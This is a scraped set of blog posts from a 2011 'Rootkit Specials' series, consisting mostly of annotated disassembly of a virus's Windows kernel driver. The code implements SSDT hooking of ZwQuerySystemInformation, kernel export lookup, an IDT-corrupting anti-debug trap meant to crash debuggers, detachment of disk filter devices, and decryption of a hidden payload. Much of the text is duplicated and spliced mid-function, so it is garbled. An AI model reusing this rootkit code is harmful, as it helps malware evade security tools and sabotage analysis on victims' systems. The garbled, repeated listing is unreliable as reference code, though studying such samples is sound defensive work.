mov esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
add esi, edx
mov AddressOfFunctions, esi
mov ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
add ecx, edx
mov AddressOfNameOrdinals, ecx
and nIndex, 0
mov edx, pFunctionName
StartSearch:
mov ebx, nIndex
cmp ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctions
jnb Quit
cmp dword ptr [esi], 0 ;First function addresws judge whether null on AddressOfFunctions
jz NextAddressOfFunction ;If null, Take next function on IMAGE_EXPORT_DIRECTORY.AddressOfFunctions table
mov CurAddressOfNames, edi
mov CurAddressOfNameOrdinals, ecx
and i, 0
StartFindFunctionFromAddressOfNames:
mov ebx, i
cmp ebx, [eax+18h] ;IMAGE_EXPORT_DIRECTORY.NumberOfNames
jnb OutOfRange
mov ebx, CurAddressOfNameOrdinals
movzx ebx, word ptr [ebx]
cmp ebx, nIndex ;Judge index from AddressOfFunctions to get whether fit AddressOfNameOrdinals get index
jnz NextAddressOfNameOrdinals
mov edx, CurAddressOfNames
mov edx, [edx]
add edx, hModule
mov pFunctionName, edx ;Take function name
OutOfRange:
test edx, edx ;Judge whether null
jz ContinueWork
mov myFoundOutFunctionName, edx ;TS function name
mov edx, FunctionName
mov InputFunctionName, edx ;TS imput function name
CompareFunctionName:
mov edx, InputFunctionName
mov dl, [edx]
mov FirstCharacterOfFunctionName, dl
mov ebx, myFoundOutFunctionName
cmp dl, [ebx]
jnz Different ;disaffinity
test dl, dl ;Judge InputFunctionName whether null, if null, return first function address table
jz RetCurrentFunctionAddress
mov edx, InputFunctionName ;Contrast function name next character
mov dl, [edx+1]
mov SecondCharacterOfFunctionName, dl
cmp dl, [ebx+1]
jnz Different
add InputFunctionName, 2
add myFoundOutFunctionName, 2
test dl, dl
jnz CompareFunctionName
RetCurrentFunctionAddress:
xor edx, edx ;edx = 0,mean find correspond function
jmp GetFunctionAddress
NextAddressOfNameOrdinals:
add CurAddressOfNames, 4
add CurAddressOfNameOrdinals, 2
inc i
jmp StartFindFunctionFromAddressOfNames
Different:
sbb edx, edx
sbb edx, 0FFFFFFFFh ;edx = 1,表示没有找到对应的函数,继续找
GetFunctionAddress:
test edx, edx
jnz ContinueWork
mov esi, [esi]
add esi, hModule
mov eax, esi ;return function address
jmp Founded
ContinueWork:
xor edx, edx
mov pFunctionName, edx
NextAddressOfFunction:
add esi, 4
mov AddressOfFunctions, esi
inc nIndex
jmp StartSearch
Quit:
xor eax, eax
Founded:
ret
GetProcessFromNtoskrnl endp
Friday, October 7, 2011
Learn and study Rootkit Specials 5: kernel hook - SSDT hook(1)
Author:combojiang
Talk about SSDT hook, before have article of <<SSDT Hook的妙用-对抗ring0 inline hook>> by 堕落天才, If do not understand basic concept, You can watch the article.
Today we through example to learn how use, The example root in article by sudami.
The virus use vbs to call driver for finish it. swk0217d's main feature:
1.Take ssdt function count
2.Take all function on ssdt function table
3.hook ZwQuerySystemInformation
4.unhook ZwQuerySystemInformation
5.In line with user given function address and index of ssdt table, Modify ssdt table
Note:
1)When hook ZwQuerySystemInformation is executed, First through ZwQuerySystemInformation to found place of ntosknrl.exe module memory load, Then through export table of ntosknrl.exe to find address of NtQuerySystemInformation. Then hook ZwQuerySystemInformation. Author of the virus main objective is prevent SSDT function to be load, So Author recover in here, Author need use this function, But afraid the function already is tampered.
2)When unhook ZwQuerySystemInformation, Recover original ssdt after Virus author use to finish the function.
.386
.model flat,stdcall
option casemap:none
include w2k\ntstatus.inc
include w2k\ntddk.inc
include w2k\ntoskrnl.inc
includelib C:\RadASM\masm32\lib\w2k\ntoskrnl.lib
include Swk0207.inc
.data
unk_10B80 db 4Eh ; N
db 0E6h ; ?
db 40h ; @
db 0BBh ; ?
OldSSDTValueOfZwQuerySystemInformation dd 0
.code
; 6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ntoskrnl.exe,0 int3 push 24h
FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h
;***********************************************************************************************
; ZwQuerySystemInformation get memory load address of ntoskrnl.exe
1.Take ssdt function count
2.Take all function on ssdt function table
3.hook ZwQuerySystemInformation
4.unhook ZwQuerySystemInformation
5.In line with user given function address and index of ssdt table, Modify ssdt table
Note:
1)When hook ZwQuerySystemInformation is executed, First through ZwQuerySystemInformation to found place of ntosknrl.exe module memory load, Then through export table of ntosknrl.exe to find address of NtQuerySystemInformation. Then hook ZwQuerySystemInformation. Author of the virus main objective is prevent SSDT function to be load, So Author recover in here, Author need use this function, But afraid the function already is tampered.
2)When unhook ZwQuerySystemInformation, Recover original ssdt after Virus author use to finish the function.
.386
.model flat,stdcall
option casemap:none
include w2k\ntstatus.inc
include w2k\ntddk.inc
include w2k\ntoskrnl.inc
includelib C:\RadASM\masm32\lib\w2k\ntoskrnl.lib
include Swk0207.inc
.data
unk_10B80 db 4Eh ; N
db 0E6h ; ?
db 40h ; @
db 0BBh ; ?
OldSSDTValueOfZwQuerySystemInformation dd 0
.code
; 6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ntoskrnl.exe,0 int3 push 24h
FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h
;***********************************************************************************************
; ZwQuerySystemInformation get memory load address of ntoskrnl.exe
;***********************************************************************************************
;typedef struct _SYSTEM_MODULE_INFORMATION // Information Class 11
;{
; ULONG Reserved[2]; +0
; PVOID Base; +08h
; ULONG Size; +0ch
; ULONG Flags; +10h
; USHORT Index; +14h
; USHORT Unknown; +16h
; USHORT LoadCount; +18h
; USHORT ModuleNameOffset; +1Ah
; CHAR ImageName[256]; +1Ch
;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
; ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
; IN OUT PVOID SystemInformation,
; IN ULONG SystemInformationLength,
; OUT PULONG ReturnLength OPTIONAL );
;typedef struct _tagSysModuleList {
; ULONG ulCount;
; SYSTEM_MODULE_INFORMATION smi[1];
;} SYSMODULELIST, *PSYSMODULELIST;
;用法如下:
;s = NtQuerySystemInformation( SystemModuleInformation, pRet,
;sizeof( SYSMODULELIST ), &nRetSize );
xor ebx, ebx
mov [ebp-24h], ebx
mov [ebp-4], ebx
lea eax, [ebp-1Ch]
push eax ;ReturnLength
push ebx ;SystemInformationLength = 0
lea eax, [ebp-20h]
push eax ;SystemInformation
push 0Bh ;SystemModuleInformation,ergodic module
mov esi, ZwQuerySystemInformation
call esi ; ZwQuerySystemInformation ,First call to get need buffer length
mov [ebp-28h], eax
cmp eax, 0C0000004h
jnz ERRORRET
push 206B6444h ; ' kdD' lable
push dword ptr [ebp-1Ch] ;apply for length
push ebx ;NonPagedPool
call ExAllocatePoolWithTag
mov edi, eax
mov [ebp-30h], edi ;Keep return value
cmp edi, ebx ;Judge return value whether is null
jnz NextStep
or dword ptr [ebp-4], 0FFFFFFFFh
xor eax, eax
jmp ErrAllocMem
NextStep:
lea eax, [ebp-34h] ;ReturnLength
push eax
push dword ptr [ebp-1Ch] ;SystemInformationLength
push edi ;SystemInformation
push 0Bh ;SystemModuleInformation
call esi ; ZwQuerySystemInformation
mov [ebp-28h], eax
cmp eax, ebx
jl ReleaseMemory
mov eax, [edi]
mov [ebp-1Ch], eax ;Keep YSTEM_MODULE_INFORMATION element count by ZwQuerySystemInformation return
lea esi, [edi+4]
mov [ebp-2Ch], esi ;Save firt address array by SYSTEM_MODULE_INFORMATION return
;typedef struct _SYSTEM_MODULE_INFORMATION // Information Class 11
;{
; ULONG Reserved[2]; +0
; PVOID Base; +08h
; ULONG Size; +0ch
; ULONG Flags; +10h
; USHORT Index; +14h
; USHORT Unknown; +16h
; USHORT LoadCount; +18h
; USHORT ModuleNameOffset; +1Ah
; CHAR ImageName[256]; +1Ch
;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
; ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
; IN OUT PVOID SystemInformation,
; IN ULONG SystemInformationLength,
; OUT PULONG ReturnLength OPTIONAL );
;typedef struct _tagSysModuleList {
; ULONG ulCount;
; SYSTEM_MODULE_INFORMATION smi[1];
;} SYSMODULELIST, *PSYSMODULELIST;
;用法如下:
;s = NtQuerySystemInformation( SystemModuleInformation, pRet,
;sizeof( SYSMODULELIST ), &nRetSize );
xor ebx, ebx
mov [ebp-24h], ebx
mov [ebp-4], ebx
lea eax, [ebp-1Ch]
push eax ;ReturnLength
push ebx ;SystemInformationLength = 0
lea eax, [ebp-20h]
push eax ;SystemInformation
push 0Bh ;SystemModuleInformation,ergodic module
mov esi, ZwQuerySystemInformation
call esi ; ZwQuerySystemInformation ,First call to get need buffer length
mov [ebp-28h], eax
cmp eax, 0C0000004h
jnz ERRORRET
push 206B6444h ; ' kdD' lable
push dword ptr [ebp-1Ch] ;apply for length
push ebx ;NonPagedPool
call ExAllocatePoolWithTag
mov edi, eax
mov [ebp-30h], edi ;Keep return value
cmp edi, ebx ;Judge return value whether is null
jnz NextStep
or dword ptr [ebp-4], 0FFFFFFFFh
xor eax, eax
jmp ErrAllocMem
NextStep:
lea eax, [ebp-34h] ;ReturnLength
push eax
push dword ptr [ebp-1Ch] ;SystemInformationLength
push edi ;SystemInformation
push 0Bh ;SystemModuleInformation
call esi ; ZwQuerySystemInformation
mov [ebp-28h], eax
cmp eax, ebx
jl ReleaseMemory
mov eax, [edi]
mov [ebp-1Ch], eax ;Keep YSTEM_MODULE_INFORMATION element count by ZwQuerySystemInformation return
lea esi, [edi+4]
mov [ebp-2Ch], esi ;Save firt address array by SYSTEM_MODULE_INFORMATION return
mov [ebp-20h], ebx ;Count variable zero clearing
FORLOOP:
mov eax, [ebp-1Ch] ;Beging for loop
cmp [ebp-20h], eax
jnb ReleaseMemory
push offset FunctionArray
FORLOOP:
mov eax, [ebp-1Ch] ;Beging for loop
cmp [ebp-20h], eax
jnb ReleaseMemory
push offset FunctionArray
Thursday, October 6, 2011
Learn and study Rootkit Specials 4: kernel hook - object hook(3)
;
***************************************************************************
; Check up offset address upper byte of 9 mark interrupt descriptor and E mark ;interrupt descriptor, if offset address upper byte of 9 mark interrupt ;descriptor is zero to exit, if isn't zero to judge offset address upper byte of ;E mark interrupt descriptor compare with offset address upper byte of 9 mark ;interrupt descriptor, if both equal to exit, If not offset address 16bit of ;offset address upper byte of E mark interrupt descriptor is set zero. Let it ;point error address. Destroy the interrupt function. Because many debugger ;articulate 0xE, The rootkit do this may to let the program create system BSOD ;when debug, That is anti debug trap by author.
;****************************************************************************
AntiDebug proc near
LOCAL nTemp:dword
pusha
sidt fword ptr IDTData
mov esi, dword ptr IDTData+2 ;Get base address
mov eax, 9 ;index = 9, #interrupt 09
shl eax, 3 ;each descriptor take up 8 bytes
add esi, eax ;esi point 9 mark descriptor
movzx eax, word ptr [esi+6] ;Take out upper 16 bit byte offset address interrupt function
shl eax, 10h
mov ax, [esi] ;Take low 16 bits offset address of interrupt function
and eax, 0FF000000h ;Take a upper byte of offset address
mov nTemp, eax
test eax, eax
jz QUIT
mov esi, dword ptr IDTData+2 ;Take base address
mov eax, 0Eh ;index = E, #interrupt 0E
shl eax, 3 ;Each descriptor take 8 bytes
add esi, eax ;esi piont E mark descriptor
movzx eax, word ptr [esi+6] ;Take upper 16 bit byte offset address interrupt function
shl eax, 10h
mov ax, [esi] ;Take a upper byte of offset address
and eax, 0FF000000h ;Take a upper byte of offset address
cmp eax, nTemp ;Compare upper byte offset address of two interrupt descriptor
jz QUIT
mov word ptr [esi+6], 0 ;Modify offset address of interrupt gates, upper 16 bit is set zero
QUIT:
popa
retn
AntiDebug endp
;************************************************************************************
; Dispose IRP_MJ_DEVICE_CONTROL,IRP_MJ_CREATE,IRP_MJ_CLOSE to request
; IRP_MJ_CREATE routine take charge get disc device object and check the device stack whether load other device, IF have to save the device and unload it.
; Call IoGetDeviceObjectPointer to get device object that be device named-"\\Device\\Harddisk0\\DR0" .
; IRP_MJ_CLOSE recover DR0 to attach
; IRP_MJ_DEVICE_CONTROL中对0xF0003C04 mark respond, First in line with a constant Key to be create decrypt array, Then
; user imported code operate with decrypt array, finaly create a secret key, last use the secret key find front sys resource,
; After decrypt to take content return user program.
;************************************************************************************
DispatchFunction proc device:dword,pIrp:dword
LOCAL ObjectName:UNICODE_STRING
LOCAL DestinationString:OEM_STRING
LOCAL FileObject:dword
LOCAL DeviceObject:dword
push edi
push esi
push ebx
mov edi, pIrp
mov dword ptr [edi+1Ch], 0 ;zero setIoStatus on IRP, see ntddk.inc
mov dword ptr [edi+18h], 0
mov esi, [edi+60h] ;Take IRP.CurrentStackLocation
movzx eax, byte ptr [esi];IO_STACK_LOCATION.MajorFunction
or eax, eax
jnz IRPMJCLOSE
jmp short $+2 ;junk instruction
;IRP_MJ_CREATE request, Will break \Device\Harddisk0\DR0 attach device on IRP_MJ_CREATE上附加的设备.
push offset SourceString ; "\\Device\\Harddisk0\\DR0"
lea eax, DestinationString
push eax ; DestinationString
call RtlInitAnsiString
push 1 ; AllocateDestinationString
lea eax, DestinationString
push eax ; SourceString
lea eax, ObjectName
push eax ; DestinationString
call RtlAnsiStringToUnicodeString
xor eax, eax
mov FileObject, eax
mov DeviceObject, eax
lea eax, DeviceObject
push eax ; DeviceObject
lea eax, FileObject
push eax ; FileObject
push 80h ; DesiredAccess
lea eax, ObjectName
push eax ; ObjectName
call IoGetDeviceObjectPointer
mov eax, FileObject
jmp short $+2 ;junk instruction
mov eax, [eax+4] ;FILE_OBJECT.DeviceObject 见ntddk.inc
mov g_DeviceObject, eax
cmp dword ptr [eax+10h], 0 ;DEVICE_OBJECT.AttachedDevice
jz ClearAttachedDevice
jmp short $+2 ;junk instruction
mov ecx, [eax+10h]
xchg ecx, g_AttachedDevice
mov [eax+10h], ecx
ClearAttachedDevice:
push FileObject
call ObDereferenceObject
lea eax, ObjectName
push eax ; UnicodeString
call RtlFreeUnicodeString
jmp Quit
IRPMJCLOSE:
cmp eax, 2
jnz IRPMJDEVICECONTROL
mov eax, g_DeviceObject
or eax, eax
jz Quit
mov ecx, g_AttachedDevice
or ecx, ecx
jz NoAttachedDevice
mov [eax+10h], ecx
NoAttachedDevice:
jmp Quit
IRPMJDEVICECONTROL:
cmp eax, 0Eh
jnz Quit
mov eax, [esi+0Ch]; IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode
cmp eax, 0F0003C04h ;Judge whether is client pass into ctlcode
jnz Quit
call CreateDecodeKey
mov ebx, [edi+0Ch] ;IRP.AssociatedIrp.SystemBuffer
mov ecx, [esi+8] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
call DecodeInputData
mov DecodeKEY, eax
push DecodeKEY
push offset Format ; "%08X"
call DbgPrint
add esp, 8
mov eax, [esi+4] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength
cmp eax, NumberOfBytes
jbe Quit
mov edi, [edi+3Ch];IRP.UserBuffer
mov esi, P
mov ecx, NumberOfBytes
shr ecx, 2
DecodeResource: ;Export resource content, feed back to user
lodsd
xor eax, DecodeKEY
stosd
dec ecx
jnz DecodeResource
mov ecx, NumberOfBytes
and ecx, 3
rep movsb
Quit:
push 0
push pIrp
call IoCompleteRequest
mov eax, 0
pop ebx
pop esi
pop edi
retn
DispatchFunction endp
;******************************************************************
; UnLoad routine
;******************************************************************
PCIHDDUnload proc pDriverObject :dword
LOCAL DestinationString:OEM_STRING
LOCAL SymbolicLinkName:UNICODE_STRING
push edi
push esi
push ebx
pusha
cmp P, 0
jz CONTINUE
push P ; P
call ExFreePool ;Free memory
CONTINUE:
cmp pDriverObject, 0
jz QUIT
push offset aDosdevicesPhys ; "\\DosDevices\\PhysicalHardDisk0"
lea eax, DestinationString
push eax ; DestinationString
call RtlInitAnsiString
push 1 ; AllocateDestinationString
lea eax, DestinationString
push eax ; SourceString
lea eax, SymbolicLinkName
push eax ; DestinationString
call RtlAnsiStringToUnicodeString
lea eax, SymbolicLinkName
push eax ; SymbolicLinkName
call IoDeleteSymbolicLink
lea eax, SymbolicLinkName
push eax ; UnicodeString
call RtlFreeUnicodeString
mov edi, pDriverObject
mov esi, [edi+4] ;DeviceObject
jmp IsDeviceExist
DELETEDEVICE:
mov edi, [esi+0Ch];DriverObject
push esi ; DeviceObject
call IoDeleteDevice
mov esi, edi
IsDeviceExist:
or esi, esi
jnz DELETEDEVICE
QUIT:
popa
pop ebx
pop esi
pop edi
retn
PCIHDDUnload endp
; **********************************************************************
; Here is entry of driver program; **********************************************************************
public start
start proc near
LOCAL nTemp:dword
LOCAL DestinationString:OEM_STRING
LOCAL DeviceObject:dword
LOCAL SymbolicLinkName:UNICODE_STRING
LOCAL DeviceName:UNICODE_STRING
LOCAL DriverObject:dword
push edi
push esi
push ebx
pusha
nop
nop
call AntiDebug ;anti debug
call GetPeHeader
or eax, eax
jz QUIT ;Can't find current driver memory load place
mov ecx, eax
lea eax, nTemp
push eax
push 3E8h
push 3E8h
push ecx
call SearchResourceByIDInFirstLayer
or eax, eax
jz QUIT
mov NumberOfBytes, eax
push NumberOfBytes ; NumberOfBytes
push 0 ; PoolType
call ExAllocatePool ;in line with resource length apply for memory.
mov P, eax
jmp short $+2 ;Junk instruction
mov edi, P
mov esi, nTemp
mov ecx, NumberOfBytes
rep movsb ;Copy resource to buffer
jmp ContinueWork
QUIT:
popa
xor eax, eax
dec eax
pop ebx
pop esi
pop edi
retn
ContinueWork:
jmp short $+2 ;Judge instruction
mov eax, DriverObject
mov dword ptr [eax+34h], offset PCIHDDUnload ;DriverObject.DriverUnLoad = PCIHDDUnload
lea edi, [eax+38h] ;edi指向MajorFunction
lea eax, DispatchFunction
mov [edi], eax ;IRP_MJ_CREATE EQU 0
mov [edi+8], eax ;IRP_MJ_CLOSE equ 2
mov [edi+38h], eax ;IRP_MJ_DEVICE_CONTROL equ 0Eh 见ntddk.inc
push offset aDevicePhysical ; "\\Device\\PhysicalHardDisk0"
lea eax, DestinationString
push eax ; DestinationString
call RtlInitAnsiString
push 1 ; AllocateDestinationString
lea eax, DestinationString
push eax ; SourceString
lea eax, DeviceName
push eax ; DestinationString
call RtlAnsiStringToUnicodeString
push offset aDosdevicesPhys ; "\\DosDevices\\PhysicalHardDisk0"
lea eax, DestinationString
push eax ; DestinationString
call RtlInitAnsiString
push 1 ; AllocateDestinationString
lea eax, DestinationString
push eax ; SourceString
lea eax, SymbolicLinkName
push eax ; DestinationString
call RtlAnsiStringToUnicodeString
lea eax, DeviceObject
push eax ; DeviceObject
push 0 ; Exclusive
push 0 ; DeviceCharacteristics
push 15h ; DeviceType
lea eax, DeviceName
push eax ; DeviceName
push 0 ; DeviceExtensionSize
push DriverObject; DriverObject
call IoCreateDevice ;Create device
or eax, eax
jz CreateDeviceSucess
jmp Quit
CreateDeviceSucess:
lea eax, DeviceName
push eax ; DeviceName
lea eax, SymbolicLinkName
push eax ; SymbolicLinkName
call IoCreateSymbolicLink ;Create symbol link
or eax, eax
jz Quit
mov edi, DriverObject
mov esi, [edi+4] ;DRIVER_OBJECT.DeviceObject
jmp StartCycle
ContinueDeleteDevice:
mov edi, [esi+0Ch] ;DEVICE_OBJECT.DriverObject
push esi ; DeviceObject
call IoDeleteDevice
mov esi, edi
StartCycle:
or esi, esi
jnz ContinueDeleteDevice
jmp short $+2 ;Junk instruction, Execute exit command
Quit:
lea eax, DeviceName
push eax ; UnicodeString
call RtlFreeUnicodeString
lea eax, SymbolicLinkName
push eax ; UnicodeString
call RtlFreeUnicodeString
popa
xor eax, eax
pop ebx
pop esi
pop edi
retn
start endp
end start
; Check up offset address upper byte of 9 mark interrupt descriptor and E mark ;interrupt descriptor, if offset address upper byte of 9 mark interrupt ;descriptor is zero to exit, if isn't zero to judge offset address upper byte of ;E mark interrupt descriptor compare with offset address upper byte of 9 mark ;interrupt descriptor, if both equal to exit, If not offset address 16bit of ;offset address upper byte of E mark interrupt descriptor is set zero. Let it ;point error address. Destroy the interrupt function. Because many debugger ;articulate 0xE, The rootkit do this may to let the program create system BSOD ;when debug, That is anti debug trap by author.
;****************************************************************************
AntiDebug proc near
LOCAL nTemp:dword
pusha
sidt fword ptr IDTData
mov esi, dword ptr IDTData+2 ;Get base address
mov eax, 9 ;index = 9, #interrupt 09
shl eax, 3 ;each descriptor take up 8 bytes
add esi, eax ;esi point 9 mark descriptor
movzx eax, word ptr [esi+6] ;Take out upper 16 bit byte offset address interrupt function
shl eax, 10h
mov ax, [esi] ;Take low 16 bits offset address of interrupt function
and eax, 0FF000000h ;Take a upper byte of offset address
mov nTemp, eax
test eax, eax
jz QUIT
mov esi, dword ptr IDTData+2 ;Take base address
mov eax, 0Eh ;index = E, #interrupt 0E
shl eax, 3 ;Each descriptor take 8 bytes
add esi, eax ;esi piont E mark descriptor
movzx eax, word ptr [esi+6] ;Take upper 16 bit byte offset address interrupt function
shl eax, 10h
mov ax, [esi] ;Take a upper byte of offset address
and eax, 0FF000000h ;Take a upper byte of offset address
cmp eax, nTemp ;Compare upper byte offset address of two interrupt descriptor
jz QUIT
mov word ptr [esi+6], 0 ;Modify offset address of interrupt gates, upper 16 bit is set zero
QUIT:
popa
retn
AntiDebug endp
;************************************************************************************
; Dispose IRP_MJ_DEVICE_CONTROL,IRP_MJ_CREATE,IRP_MJ_CLOSE to request
; IRP_MJ_CREATE routine take charge get disc device object and check the device stack whether load other device, IF have to save the device and unload it.
; Call IoGetDeviceObjectPointer to get device object that be device named-"\\Device\\Harddisk0\\DR0" .
; IRP_MJ_CLOSE recover DR0 to attach
; IRP_MJ_DEVICE_CONTROL中对0xF0003C04 mark respond, First in line with a constant Key to be create decrypt array, Then
; user imported code operate with decrypt array, finaly create a secret key, last use the secret key find front sys resource,
; After decrypt to take content return user program.
;************************************************************************************
DispatchFunction proc device:dword,pIrp:dword
LOCAL ObjectName:UNICODE_STRING
LOCAL DestinationString:OEM_STRING
LOCAL FileObject:dword
LOCAL DeviceObject:dword
push edi
push esi
push ebx
mov edi, pIrp
mov dword ptr [edi+1Ch], 0 ;zero setIoStatus on IRP, see ntddk.inc
mov dword ptr [edi+18h], 0
mov esi, [edi+60h] ;Take IRP.CurrentStackLocation
movzx eax, byte ptr [esi];IO_STACK_LOCATION.MajorFunction
or eax, eax
jnz IRPMJCLOSE
jmp short $+2 ;junk instruction
;IRP_MJ_CREATE request, Will break \Device\Harddisk0\DR0 attach device on IRP_MJ_CREATE上附加的设备.
push offset SourceString ; "\\Device\\Harddisk0\\DR0"
lea eax, DestinationString
push eax ; DestinationString
call RtlInitAnsiString
push 1 ; AllocateDestinationString
lea eax, DestinationString
push eax ; SourceString
lea eax, ObjectName
push eax ; DestinationString
call RtlAnsiStringToUnicodeString
xor eax, eax
mov FileObject, eax
mov DeviceObject, eax
lea eax, DeviceObject
push eax ; DeviceObject
lea eax, FileObject
push eax ; FileObject
push 80h ; DesiredAccess
lea eax, ObjectName
push eax ; ObjectName
call IoGetDeviceObjectPointer
mov eax, FileObject
jmp short $+2 ;junk instruction
mov eax, [eax+4] ;FILE_OBJECT.DeviceObject 见ntddk.inc
mov g_DeviceObject, eax
cmp dword ptr [eax+10h], 0 ;DEVICE_OBJECT.AttachedDevice
jz ClearAttachedDevice
jmp short $+2 ;junk instruction
mov ecx, [eax+10h]
xchg ecx, g_AttachedDevice
mov [eax+10h], ecx
ClearAttachedDevice:
push FileObject
call ObDereferenceObject
lea eax, ObjectName
push eax ; UnicodeString
call RtlFreeUnicodeString
jmp Quit
IRPMJCLOSE:
cmp eax, 2
jnz IRPMJDEVICECONTROL
mov eax, g_DeviceObject
or eax, eax
jz Quit
mov ecx, g_AttachedDevice
or ecx, ecx
jz NoAttachedDevice
mov [eax+10h], ecx
NoAttachedDevice:
jmp Quit
IRPMJDEVICECONTROL:
cmp eax, 0Eh
jnz Quit
mov eax, [esi+0Ch]; IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode
cmp eax, 0F0003C04h ;Judge whether is client pass into ctlcode
jnz Quit
call CreateDecodeKey
mov ebx, [edi+0Ch] ;IRP.AssociatedIrp.SystemBuffer
mov ecx, [esi+8] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
call DecodeInputData
mov DecodeKEY, eax
push DecodeKEY
push offset Format ; "%08X"
call DbgPrint
add esp, 8
mov eax, [esi+4] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength
cmp eax, NumberOfBytes
jbe Quit
mov edi, [edi+3Ch];IRP.UserBuffer
mov esi, P
mov ecx, NumberOfBytes
shr ecx, 2
DecodeResource: ;Export resource content, feed back to user
lodsd
xor eax, DecodeKEY
stosd
dec ecx
jnz DecodeResource
mov ecx, NumberOfBytes
and ecx, 3
rep movsb
Quit:
push 0
push pIrp
call IoCompleteRequest
mov eax, 0
pop ebx
pop esi
pop edi
retn
DispatchFunction endp
;******************************************************************
; UnLoad routine
;******************************************************************
PCIHDDUnload proc pDriverObject :dword
LOCAL DestinationString:OEM_STRING
LOCAL SymbolicLinkName:UNICODE_STRING
push edi
push esi
push ebx
pusha
cmp P, 0
jz CONTINUE
push P ; P
call ExFreePool ;Free memory
CONTINUE:
cmp pDriverObject, 0
jz QUIT
push offset aDosdevicesPhys ; "\\DosDevices\\PhysicalHardDisk0"
lea eax, DestinationString
push eax ; DestinationString
call RtlInitAnsiString
push 1 ; AllocateDestinationString
lea eax, DestinationString
push eax ; SourceString
lea eax, SymbolicLinkName
push eax ; DestinationString
call RtlAnsiStringToUnicodeString
lea eax, SymbolicLinkName
push eax ; SymbolicLinkName
call IoDeleteSymbolicLink
lea eax, SymbolicLinkName
push eax ; UnicodeString
call RtlFreeUnicodeString
mov edi, pDriverObject
mov esi, [edi+4] ;DeviceObject
jmp IsDeviceExist
DELETEDEVICE:
mov edi, [esi+0Ch];DriverObject
push esi ; DeviceObject
call IoDeleteDevice
mov esi, edi
IsDeviceExist:
or esi, esi
jnz DELETEDEVICE
QUIT:
popa
pop ebx
pop esi
pop edi
retn
PCIHDDUnload endp
; **********************************************************************
; Here is entry of driver program; **********************************************************************
public start
start proc near
LOCAL nTemp:dword
LOCAL DestinationString:OEM_STRING
LOCAL DeviceObject:dword
LOCAL SymbolicLinkName:UNICODE_STRING
LOCAL DeviceName:UNICODE_STRING
LOCAL DriverObject:dword
push edi
push esi
push ebx
pusha
nop
nop
call AntiDebug ;anti debug
call GetPeHeader
or eax, eax
jz QUIT ;Can't find current driver memory load place
mov ecx, eax
lea eax, nTemp
push eax
push 3E8h
push 3E8h
push ecx
call SearchResourceByIDInFirstLayer
or eax, eax
jz QUIT
mov NumberOfBytes, eax
push NumberOfBytes ; NumberOfBytes
push 0 ; PoolType
call ExAllocatePool ;in line with resource length apply for memory.
mov P, eax
jmp short $+2 ;Junk instruction
mov edi, P
mov esi, nTemp
mov ecx, NumberOfBytes
rep movsb ;Copy resource to buffer
jmp ContinueWork
QUIT:
popa
xor eax, eax
dec eax
pop ebx
pop esi
pop edi
retn
ContinueWork:
jmp short $+2 ;Judge instruction
mov eax, DriverObject
mov dword ptr [eax+34h], offset PCIHDDUnload ;DriverObject.DriverUnLoad = PCIHDDUnload
lea edi, [eax+38h] ;edi指向MajorFunction
lea eax, DispatchFunction
mov [edi], eax ;IRP_MJ_CREATE EQU 0
mov [edi+8], eax ;IRP_MJ_CLOSE equ 2
mov [edi+38h], eax ;IRP_MJ_DEVICE_CONTROL equ 0Eh 见ntddk.inc
push offset aDevicePhysical ; "\\Device\\PhysicalHardDisk0"
lea eax, DestinationString
push eax ; DestinationString
call RtlInitAnsiString
push 1 ; AllocateDestinationString
lea eax, DestinationString
push eax ; SourceString
lea eax, DeviceName
push eax ; DestinationString
call RtlAnsiStringToUnicodeString
push offset aDosdevicesPhys ; "\\DosDevices\\PhysicalHardDisk0"
lea eax, DestinationString
push eax ; DestinationString
call RtlInitAnsiString
push 1 ; AllocateDestinationString
lea eax, DestinationString
push eax ; SourceString
lea eax, SymbolicLinkName
push eax ; DestinationString
call RtlAnsiStringToUnicodeString
lea eax, DeviceObject
push eax ; DeviceObject
push 0 ; Exclusive
push 0 ; DeviceCharacteristics
push 15h ; DeviceType
lea eax, DeviceName
push eax ; DeviceName
push 0 ; DeviceExtensionSize
push DriverObject; DriverObject
call IoCreateDevice ;Create device
or eax, eax
jz CreateDeviceSucess
jmp Quit
CreateDeviceSucess:
lea eax, DeviceName
push eax ; DeviceName
lea eax, SymbolicLinkName
push eax ; SymbolicLinkName
call IoCreateSymbolicLink ;Create symbol link
or eax, eax
jz Quit
mov edi, DriverObject
mov esi, [edi+4] ;DRIVER_OBJECT.DeviceObject
jmp StartCycle
ContinueDeleteDevice:
mov edi, [esi+0Ch] ;DEVICE_OBJECT.DriverObject
push esi ; DeviceObject
call IoDeleteDevice
mov esi, edi
StartCycle:
or esi, esi
jnz ContinueDeleteDevice
jmp short $+2 ;Junk instruction, Execute exit command
Quit:
lea eax, DeviceName
push eax ; UnicodeString
call RtlFreeUnicodeString
lea eax, SymbolicLinkName
push eax ; UnicodeString
call RtlFreeUnicodeString
popa
xor eax, eax
pop ebx
pop esi
pop edi
retn
start endp
end start
Wednesday, October 5, 2011
Learn and study Rootkit Specials 3: kernel hook - object hook(2)
;************************************************************************
; Take out resource imformation on third stage resource, if succeed, Return to take out resource length
;************************************************************************
SearchResourceByIDInThirdLayer proc PEHeader:dword,ResourceAddr:dword,ChildResource:dword,pOutValue:dword
LOCAL RetValue:dword
pusha
